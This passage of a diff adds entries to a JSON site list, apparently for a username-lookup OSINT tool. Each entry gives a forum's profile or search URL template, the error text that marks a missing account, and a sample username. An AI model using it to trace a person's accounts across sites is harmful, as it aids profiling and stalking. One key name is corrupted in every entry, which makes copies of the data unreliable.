"https://www.santacruzforums.com", + "usernameON": "cargonaut", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_santechniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "action=\"./ucp.php?mode=login\">", + "errorTyp��": "message", + "url": "https://santechniki.com/memberlist.php?username={}", + "urlMain": "https://santechniki.com", + "usernameON": "Murza74", + "bad_site": "" + }, + "Forum_santehnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://сантехсвар.рф/search.php?keywords=&terms=all&author={}", + "urlMain": "http://сантехсвар.рф", + "usernameON": "SVAR", + "bad_site": "" + }, + "Forum_sape": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.sape.ru/member.php?username={}", + "urlMain": "http://forum.sape.ru", + "usernameON": "Nike99", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_saranskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "pr('','','',''", + "errorMsg2": "профиль
", + "errorTyp��": "message", + "url": "https://saranskchess.forum24.ru/?32-{}", + "urlMain": "https://saranskchess.forum24.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_Sat-prof": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sat-prof.com.ua/member.php?username={}", + "urlMain": "https://sat-prof.com.ua", + "usernameON": "kreshnot", + "bad_site": "" + }, + "Forum_satisfacktion": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://satisfacktion.ucoz.ru/index/8-0-{}", + "urlMain": "https://satisfacktion.ucoz.ru", + "usernameON": "satisfacktion", + "bad_site": "" + }, + "Forum_sauna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.saunaforums.com/forums/users/{}/", + "urlMain": "https://www.saunaforums.com", + "usernameON": "rick", + "bad_site": "" + }, + "Forum_saunabauen": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden Ergebnisse gefunden", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.saunabauen.de/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.saunabauen.de", + "usernameON": "klaus", + "bad_site": "" + }, + "Forum_savasleyka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://savasleyka.ru/index/8-0-{}", + "urlMain": "http://savasleyka.ru", + "usernameON": "catalogs123123", + "bad_site": "" + }, + "Forum_say7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://forum.say7.info/search.php?search_author={}", + "urlMain": "https://forum.say7.info", + "usernameON": "Fia-Lka", + "bad_site": "" + }, + "Forum_sayyod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sayyod.com/index/8-0-{}", + "urlMain": "http://sayyod.com/", + "usernameON": "mushkulsavdo", + "bad_site": "" + }, + "Forum_sc2mafia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sc2mafia.com/forum/member.php/?username={}", + "urlMain": "https://www.sc2mafia.com", + "usernameON": "Gikkle", + "bad_site": "" + }, + "Forum_scalemodeladdict": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scalemodeladdict.com/members/?username={}", + "urlMain": "https://www.scalemodeladdict.com", + "usernameON": "spruecutter", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scb.ucoz.ru/index/8-0-{}", + "urlMain": "https://scb.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_school-1130": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school-1130.ucoz.ru/index/8-0-{}", + "urlMain": "https://school-1130.ucoz.ru", + "usernameON": "KPECT", + "bad_site": "" + }, + "Forum_school74": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://school74.ucoz.ru/index/8-0-{}", + "urlMain": "https://school74.ucoz.ru", + "usernameON": "Ruike", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_school87": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school87.clan.su/index/8-0-{}", + "urlMain": "https://school87.clan.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_scienceforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.scienceforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.com", + "usernameON": "rohan232323", + "bad_site": "" + }, + "Forum_scienceforumsnet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "your search. Try broadening your criteria", + "errorTyp��": "message", + "url": "https://www.scienceforums.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_sciforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sciforums.com/members/?username={}", + "urlMain": "https://www.sciforums.com", + "usernameON": "billvon", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scimarche": { + "country": "🇮🇹", + "country_klas": "IT", + "errorTyp��": "status_code", + "url": "https://www.scimarche.it/membri/{}/", + "urlMain": "https://www.scimarche.it", + "usernameON": "jonathan", + "bad_site": "" + }, + "Forum_sciphysicsforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "http://www.sciphysicsforums.com/spfbb1/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.sciphysicsforums.com", + "usernameON": "FrediFizzx", + "bad_site": "" + }, + "Forum_scivarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scivarin.ucoz.ru/index/8-0-{}", + "urlMain": "https://scivarin.ucoz.ru", + "usernameON": "БОГЕР", + "bad_site": "" + }, + "Forum_scompaginando": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Questo utente non è registrato", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.scompaginando.it/member.php?username={}", + "urlMain": "http://www.scompaginando.it", + "usernameON": "Enribello", + "bad_site": "" + }, + "Forum_scooterista": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scooterista.ru/index/8-0-{}", + "urlMain": "https://scooterista.ru", + "usernameON": "Dreamer", + "bad_site": "" + }, + "Forum_scotchmaltwhisky": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.scotchmaltwhisky.co.uk/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.scotchmaltwhisky.co.uk", + "usernameON": "William", + "bad_site": "" + }, + "Forum_scrambler": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scramblerforum.com/members/?username={}", + "urlMain": "https://www.scramblerforum.com", + "usernameON": "fatrob", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_scrapbookcampus": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://scrapbookcampus.com/invision/search/?q={}&quick=1&type=core_members", + "urlMain": "https://scrapbookcampus.com", + "usernameON": "jacques", + "bad_site": "" + }, + "Forum_scriptmen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scriptmen.ucoz.ru/index/8-0-{}", + "urlMain": "https://scriptmen.ucoz.ru", + "usernameON": "reix24", + "bad_site": "" + }, + "Forum_scripts-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scripts-money.clan.su/index/8-0-{}", + "urlMain": "https://scripts-money.clan.su", + "usernameON": "Diamond00744", + "bad_site": "" + }, + "Forum_scssoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.scssoft.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.scssoft.com", + "usernameON": "B787", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scuba": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.scuba-divers.ru/memberlist.php?username={}", + "urlMain": "http://forum.scuba-divers.ru/", + "usernameON": "bubonic", + "bad_site": "" + }, + "Forum_se-forever": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-forever.ucoz.com/index/8-0-{}", + "urlMain": "https://se-forever.ucoz.com", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_se-style": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-style.3dn.ru/index/8-0-{}", + "urlMain": "https://se-style.3dn.ru/", + "usernameON": "qwerty2244", + "bad_site": "" + }, + "Forum_se-zver": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-zver.ucoz.net/index/8-0-{}", + "urlMain": "https://se-zver.ucoz.net", + "usernameON": "magwrisK", + "bad_site": "" + }, + "Forum_se7ensins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.se7ensins.com/members/?username={}", + "urlMain": "https://www.se7ensins.com", + "usernameON": "mocolos", + "comments": "super", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_seabreeze": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.seabreeze.com.au/Members/Profile/Details.aspx?member={}", + "urlMain": "https://www.seabreeze.com.au", + "usernameON": "surfanimal", + "bad_site": "" + }, + "Forum_searchengines": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
", + "errorMsg2": "class=\"nothing-found__title", + "errorTyp��": "message", + "url": "https://searchengines.guru/ru/search?keyword=&author={}&sortByDate=false", + "urlMain": "https://searchengines.guru", + "usernameON": "LevShliman", + "bad_site": "" + }, + "Forum_sebezh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>
403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://secure-net.ucoz.ru/index/8-0-{}", + "urlMain": "https://secure-net.ucoz.ru", + "usernameON": "hcurcl", + "bad_site": "" + }, + "Forum_segaxtreme": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://segaxtreme.net/members/?username={}", + "urlMain": "https://segaxtreme.net", + "usernameON": "bluemoon95", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_selfsufficientculture": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.selfsufficientculture.com/members/?username={}", + "urlMain": "https://www.selfsufficientculture.com", + "usernameON": "daveb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sell-akk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sell-akk.at.ua/index/8-0-{}", + "urlMain": "http://sell-akk.at.ua", + "usernameON": "apelsin", + "bad_site": "" + }, + "Forum_semenovka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://semenovka.at.ua/index/8-0-{}", + "urlMain": "http://semenovka.at.ua", + "usernameON": "semenovka", + "bad_site": "" + }, + "Forum_semerkainfo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg3": "Вам закрыт доступ к конференции.", + "errorTyp��": "message", + "url": "http://www.semerkainfo.ru/forum/memberlist.php?username={}", + "urlMain": "http://www.semerkainfo.ru", + "usernameON": "DJTigra", + "bad_site": "" + }, + "Forum_semperficatholic": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://semperficatholic.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://semperficatholic.com", + "usernameON": "MarieT", + "bad_site": "" + }, + "Forum_seniorforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.seniorforums.com/members/?username={}", + "urlMain": "https://www.seniorforums.com", + "usernameON": "pinky", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_sens": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sens.ucoz.ru/index/8-0-{}", + "urlMain": "https://sens.ucoz.ru", + "usernameON": "AlexSpain", + "bad_site": "" + }, + "Forum_serebropol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebropol.ucoz.ru/index/8-0-{}", + "urlMain": "https://serebropol.ucoz.ru", + "usernameON": "kedrdek", + "bad_site": "" + }, + "Forum_serebryansk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebryansk.online/index/8-0-{}", + "urlMain": "https://serebryansk.online", + "usernameON": "Luintil", + "bad_site": "" + }, + "Forum_serega363": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serega363.ucoz.ru/index/8-0-{}", + "urlMain": "https://serega363.ucoz.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_serenesforest": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.serenesforest.net/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.serenesforest.net", + "usernameON": "Jedi", + "bad_site": "" + }, + "Forum_serien": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serienforum.com/search/?&q={}&type=core_members", + "urlMain": "https://www.serienforum.com", + "usernameON": "Redaktion", + "bad_site": "" + }, + "Forum_serioussite": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.serioussite.ru/index/8-0-{}", + "urlMain": "https://www.serioussite.ru", + "usernameON": "tisomard", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_serpentes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serpentes.ru/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://www.serpentes.ru", + "usernameON": "TRexfood", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_server1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://server1.ucoz.net/index/8-0-{}", + "urlMain": "https://server1.ucoz.net", + "usernameON": "Arthurunige", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_servethehome": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.servethehome.com/index.php?members/&username={}", + "urlMain": "https://forums.servethehome.com", + "usernameON": "chlastakov", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_servicestack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.servicestack.net/u/{}/summary", + "urlMain": "https://forums.servicestack.net/", + "usernameON": "lai", + "bad_site": "" + }, + "Forum_serwis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serwis.ucoz.ru/index/8-0-{}", + "urlMain": "https://serwis.ucoz.ru", + "usernameON": "sigushki", + "bad_site": "" + }, + "Forum_setcombg": { + "country": "🇧🇬", + "country_klas": "BG", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "<meta name=\"robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://forum.setcombg.com/members/{}.html", + "urlMain": "https://forum.setcombg.com", + "usernameON": "ganev", + "bad_site": "" + }, + "Forum_setter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://setter.borda.ru/?32-{}", + "urlMain": "https://setter.borda.ru", + "usernameON": "veronika12", + "bad_site": "" + }, + "Forum_sev-kav": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sev-kav.clan.su/index/8-0-{}", + "urlMain": "https://sev-kav.clan.su", + "usernameON": "tbes50203", + "bad_site": "" + }, + "Forum_sevenstring": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sevenstring.org/members/?username={}", + "urlMain": "https://sevenstring.org", + "usernameON": "maxofmetal", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_severushermione": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://severushermione.clan.su/index/8-0-{}", + "urlMain": "http://severushermione.clan.su", + "usernameON": "Olias", + "bad_site": "" + }, + "Forum_severussnape": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "http://sfinx-cats.ucoz.ru/index/8-0-{}", + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameON": "Meggikliri", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sgvavia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sgvavia.ru/index/8-0-{}", + "urlMain": "https://www.sgvavia.ru", + "usernameON": "alla22", + "bad_site": "" + }, + "Forum_shaman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shaman.3dn.ru/index/8-0-{}", + "urlMain": "https://shaman.3dn.ru", + "usernameON": "vtaletkhfr", + "bad_site": "" + }, + "Forum_shanse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanse.ucoz.com/index/8-0-{}", + "urlMain": "https://shanse.ucoz.com", + "usernameON": "Юлия", + "bad_site": "" + }, + "Forum_shanson": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanson.ucoz.ru/index/8-0-{}", + "urlMain": "https://shanson.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_shatoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sherlar.3dn.ru/index/8-0-{}", + "urlMain": "https://sherlar.3dn.ru", + "usernameON": "dugimmump", + "bad_site": "" + }, + "Forum_shiachat": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.shiachat.com/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.shiachat.com", + "usernameON": "Hameedeh", + "bad_site": "" + }, + "Forum_shiftdelete": { + "country": "🇹🇷", + "country_klas": "TR", + "errorTyp��": "redirection", + "url": "https://forum.shiftdelete.net/uyeler/?username={}", + "urlMain": "https://forum.shiftdelete.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_shiptext": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shiptext.ucoz.ru/index/8-0-{}", + "urlMain": "https://shiptext.ucoz.ru", + "usernameON": "Taruto", + "bad_site": "" + }, + "Forum_shirokovskaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://широковская.рф/index/8-0-{}", + "urlMain": "http://широковская.рф", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_shkola-letovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkola-letovo.my1.ru/index/8-0-{}", + "urlMain": "https://shkola-letovo.my1.ru", + "usernameON": "belkazalesskaya", + "bad_site": "" + }, + "Forum_shkolnikov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkolnikov.clan.su/index/8-0-{}", + "urlMain": "https://shkolnikov.clan.su", + "usernameON": "Adelamow", + "bad_site": "" + }, + "Forum_shkval": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shoubiz.my1.ru/index/8-0-{}", + "urlMain": "https://shoubiz.my1.ru", + "usernameON": "eagles_yar", + "bad_site": "" + }, + "Forum_shumka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://shumka.at.ua/index/8-0-{}", + "urlMain": "http://shumka.at.ua", + "usernameON": "vikadroyp08", + "bad_site": "" + }, + "Forum_shustrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shustrov.clan.su/index/8-0-{}", + "urlMain": "https://shustrov.clan.su", + "usernameON": "Crayulin", + "bad_site": "" + }, + "Forum_shuumm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shuumm.ucoz.ru/index/8-0-{}", + "urlMain": "https://shuumm.ucoz.ru", + "usernameON": "shuumm", + "bad_site": "" + }, + "Forum_shvedun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.forum.shvedun.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.forum.shvedun.ru", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_siava": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://siava.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://siava.ru", + "usernameON": "Keks", + "bad_site": "" + }, + "Forum_sibcoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sibcoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://sibcoins.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_siberia_war": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr> :: Сибмама - о семье, беременности и детях", + "errorTyp��": "message", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.sibmama.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_siccness": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.siccness.net/xf/members/?username={}", + "urlMain": "https://www.siccness.net", + "usernameON": "muthafknmexican", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_siemens-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://siemens-club.ucoz.ru/index/8-0-{}", + "urlMain": "https://siemens-club.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_siemens-town": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": 